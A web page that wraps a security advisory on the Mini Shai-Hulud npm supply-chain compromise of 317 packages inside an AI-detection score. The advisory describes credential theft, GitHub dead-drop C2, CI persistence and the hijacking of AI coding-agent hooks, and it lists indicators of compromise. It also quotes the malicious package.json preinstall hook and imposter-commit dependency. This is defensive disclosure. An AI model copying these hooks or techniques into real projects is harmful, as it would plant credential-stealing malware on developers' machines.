Skip to content
HN On Hacker News ↗

Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised

▲ 389 points 310 comments by theanonymousone 6d ago HN discussion ↗

Pangram verdict · v3.3

We believe that this document is a mix of AI-generated, AI-assisted, and human-written content

64 %

AI likelihood · overall

Mixed
27% human-written 61% AI-generated
SEGMENTS · HUMAN 0 of 6
SEGMENTS · AI 4 of 6
WORD COUNT 1,297
PEAK AI % 100% · §1
Analyzed
May 19
backend: pangram/v3.3
Segments scanned
6 windows
avg 216 words each
Distribution
27 / 61%
human / AI fraction
Verdict
Mixed
Pangram v3.3

Article text · 1,297 words · 6 segments analyzed

Human AI-generated
§1 AI · 100%

SafeDep Team• May 19, 2026 • 26 min readTable of ContentsTL;DRThe npm account atool ([email protected]) was compromised on May 19, 2026. The attacker published 637 malicious versions across 317 packages in a 22-minute automated burst. Affected packages include size-sensor (4.2M downloads/month), echarts-for-react (3.8M), @antv/scale (2.2M), timeago.js (1.15M), and hundreds of @antv scoped packages. The payload is a 498KB obfuscated Bun script that matches the Mini Shai-Hulud toolkit used in the SAP compromise three weeks earlier: same scanner architecture, same credential regex set, same obfuscation pattern. It harvests credentials across the full AWS chain (env vars, config files, EC2 IMDS, ECS container metadata, Secrets Manager), Kubernetes service account tokens, HashiCorp Vault, GitHub PATs, npm tokens, SSH keys, and more. Stolen data is exfiltrated by committing it as Git objects to public GitHub repositories created under the compromised token, with the User-Agent forged as python-requests/2.31.0. In CI environments, the payload exchanges GitHub Actions OIDC tokens for npm publish tokens, signs artifacts via Sigstore (Fulcio + Rekor) using the stolen identity, and injects persistence into .github/workflows/codeql.yml. The payload hijacks Claude Code and Codex by injecting SessionStart hooks that re-execute the malware on every AI session, both locally and via commits to accessible GitHub repositories. VS Code gets a tasks.json with "runOn": "folderOpen" for the same effect. A persistent systemd service / macOS LaunchAgent (kitty-monitor) installs a GitHub dead-drop C2 backdoor: a Python daemon that polls GitHub’s commit search API hourly for RSA-PSS signed commands in commit messages containing the keyword firedalazer, then downloads and executes arbitrary Python from the signed URL. A separate gh-token-monitor daemon polls stolen GitHub tokens at 60-second intervals. The payload also attempts Docker container escape via the host socket and propagates infection to other local Node.js projects.

§2 AI · 100%

The attack uses two execution paths. Each compromised version adds a preinstall hook (bun run index.js). 630 of 637 versions also inject an optionalDependencies entry pointing to imposter commits in the antvis/G2 GitHub repository. These are orphan commits with forged authorship, invisible in the repo’s branch history, exploiting GitHub’s fork object sharing to host a second copy of the payload without any write access to the target repository. npm’s github: dependency resolution fetches and executes the content by SHA.Impact:Projects using semver ranges (e.g., ^3.0.6 for echarts-for-react) auto-resolve to compromised versionsCredential harvesting targets npm tokens, GitHub PATs, AWS keys (full credential chain including EC2 metadata and ECS container credentials), GCP service accounts, Azure credentials, database connection strings, Stripe keys, Slack tokens, SSH keys, Docker auth, Kubernetes service account tokens, and HashiCorp Vault tokensExfiltrated data is committed to public GitHub repositories created under the stolen token’s account, using the GitHub API as a C2 channel disguised with a python-requests/2.31.0 User-Agentnpm OIDC token exchange in CI allows the attacker to obtain publish tokens using the pipeline’s own identitySigstore signing with stolen OIDC tokens creates legitimately-signed artifacts with forged provenanceDocker socket access enables privileged container escape with host filesystem bind mountsCI/CD persistence via .github/workflows/codeql.yml injection (named “Run Copilot”) that dumps toJSON(secrets) as a GitHub Actions artifact, then self-cleans by deleting the workflow run and resetting the branchAI agent hijacking: Claude Code SessionStart hooks, Codex hooks, and VS Code "runOn": "folderOpen" tasks, all triggering a Bun bootstrapper that re-executes the payloadPersistent systemd user services and macOS LaunchAgents: kitty-monitor runs a GitHub dead-drop C2 backdoor that accepts RSA-signed remote commands via GitHub commit search; gh-token-monitor polls stolen tokens at 60-second intervalsLocal project infection copies payload files and hooks into other Node.js projects on the same machineRedundant payload delivery via GitHub imposter

§3 Mixed · 33%

commits survives even if preinstall hooks are blockedIndicators of Compromise (IoC):Any package published by atool ([email protected]) on 2026-05-19 between 01:44 and 02:06 UTCpreinstall script: bun run index.jsPayload SHA256: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1cImposter commits in antvis/G2 (orphan, forged author, message: “New Package”):1916faa365f2788b6e193514872d51a242876569 (626 versions)7cb42f57561c321ecb09b4552802ae0ac55b3a7a (2 versions)dc3d62a2181beb9f326952a2d212900c94f2e13d (1 version, garbage collected)Optional dependency: @antv/setup: github:antvis/G2#<commit-sha>Exfiltration repositories matching the Dune-themed naming pattern {word1}-{word2}-{number} where word1 is one of: sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec; word2 is one of: sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola; number is 0-999.

§4 Mixed · 33%

Description: “Shai-Hulud: Here We Go Again” (reversed in source)HTTP requests to 169.254.169.254 (EC2 metadata) and 169.254.170.2 (ECS container metadata)Branches named chore/add-codeql-static-analysis in repositories accessible to compromised tokens.github/workflows/codeql.yml with workflow name Run Copilot that dumps toJSON(secrets) to format-results.txt.claude/settings.json containing SessionStart hooks running node .claude/setup.mjs.vscode/tasks.json with "runOn": "folderOpen" tasks calling .claude/setup.mjs.claude/setup.mjs or .vscode/setup.mjs (Bun bootstrapper, downloads bun v1.3.14 from GitHub)Systemd user service kitty-monitor.service or LaunchAgent com.user.kitty-monitor.plistgh-token-monitor daemon at ~/.local/bin/gh-token-monitor.shFiles at ~/.local/share/kitty/cat.py (GitHub dead-drop C2 backdoor)State file /var/tmp/.gh_update_state (C2 execution tracking)GitHub commits containing the keyword firedalazer (C2 command trigger)RSA-PSS signed commands in commit messages: firedalazer <base64_url>.<base64_signature>AnalysisAccount Compromise and Blast RadiusThe atool npm account maintains 547 packages. The attacker published 637 malicious versions across 314 of those packages in two automated waves, both on May 19, 2026:WaveTime (UTC)Versions publishedPatternFirst01:39 - 01:56~317 versionsInitial burst with 4 early test publishes at 01:39-01:49Second02:05 - 02:06~314 versionsSecond version bump across same packagesMost packages (309) received exactly 2 malicious versions, one per wave. Four packages (size-sensor, echarts-for-react, jest-canvas-mock, jest-date-mock) received 3 versions, suggesting they were used for early testing before the bulk publish.A sample of the highest-impact affected packages:The attacker did not move the latest dist-tag on most packages.

§5 AI · 100%

For echarts-for-react, latest still points to 3.0.6. This provides no protection: npm’s semver resolution picks the highest version matching a range, regardless of the latest tag. Any project with "echarts-for-react": "^3.0.6" in its package.json resolves to 3.2.7 (malicious) on the next clean install.Execution TriggerEvery compromised version makes exactly two changes to package.json:// package.json diff (size-sensor 1.0.3 → 1.1.4) "version": "1.0.3", "version": "1.1.4", "scripts": { ... "build": "npm run build:umd && npm run build:lib && limit-size" "build": "npm run build:umd && npm run build:lib && limit-size", "preinstall": "bun run index.js" }, "optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" },The preinstall hook runs before any dependency installation and requires Bun as the runtime. 630 of the 637 malicious versions also inject an optionalDependencies entry that delivers a second copy of the payload via the legitimate antvis/G2 GitHub repository (see Imposter Commits in antvis/G2 below).Malicious PayloadThe index.js file is a single-line, 498KB obfuscated Bun bundle. The structure is a direct match with the Mini Shai-Hulud payload from the SAP compromise three weeks earlier: same Bun runtime requirement, same hex-variable obfuscation pattern, same scanner architecture with a 100KB flush threshold, same credential regex set. The payload uses two layers of obfuscation: a hex-variable string lookup table (_0x1169 resolving from array _0x5e03) and an encrypted string decoder (fc2edea72) that uses base64 + XOR for all sensitive strings like environment variable names, file paths, and C2 URLs.

§6 AI · 100%

The imports reveal the full scope of capabilities:// index.js — extracted import statementsimport { execSync } from 'child_process';import { spawn } from 'child_process';import { homedir } from 'os';import { readFile, readFileSync, writeFileSync, createWriteStream } from 'fs';import { createHash, createDecipheriv, pbkdf2Sync, generateKeyPairSync, sign } from 'crypto';import { pipeline } from 'stream/promises';The payload’s main function J2() orchestrates the attack through a scanner architecture. It instantiates multiple scanner classes, each targeting a different credential type, and dispatches results through a batched sender (Po) with a 100KB flush threshold. A CI environment detection module checks for 20+ platforms via environment variables: GitHub Actions (GITHUB_ACTIONS), Jenkins (JENKINS_URL, JENKINS_HOME), GitLab CI (GITLAB_CI), CircleCI (CIRCLECI), Travis (TRAVIS), Buildkite (BUILDKITE), Drone (DRONE), TeamCity (TEAMCITY_VERSION), AppVeyor (APPVEYOR), Bitbucket Pipelines (BITBUCKET_BUILD_NUMBER), Bitrise (BITRISE_IO), Semaphore (SEMAPHORE), CodeBuild (CODEBUILD_BUILD_ID), Azure DevOps (BUILD_BUILDURI), Cirrus CI (CIRRUS_CI), Netlify (NETLIFY), Vercel (VERCEL), CF Pages (CF_PAGES), Buddy (BUDDY_WORKSPACE_ID), Vela (VELA), Screwdriver (SCREWDRIVER), SailCI (SAILCI), Wercker (WERCKER_MAIN_PIPELINE_STARTED), Shippable (SHIPPABLE), Distelli (DISTELLI_APPNAME), and JetBrains Space (JB_SPACE_EXECUTION_NUMBER). When running in GitHub Actions, additional data collection activates: workflow runs, artifacts, secrets metadata, and OIDC token exchange.Credential HarvestingThe payload reads 80+ environment variables (all names encrypted via fc2edea72) and scans file contents using regex patterns.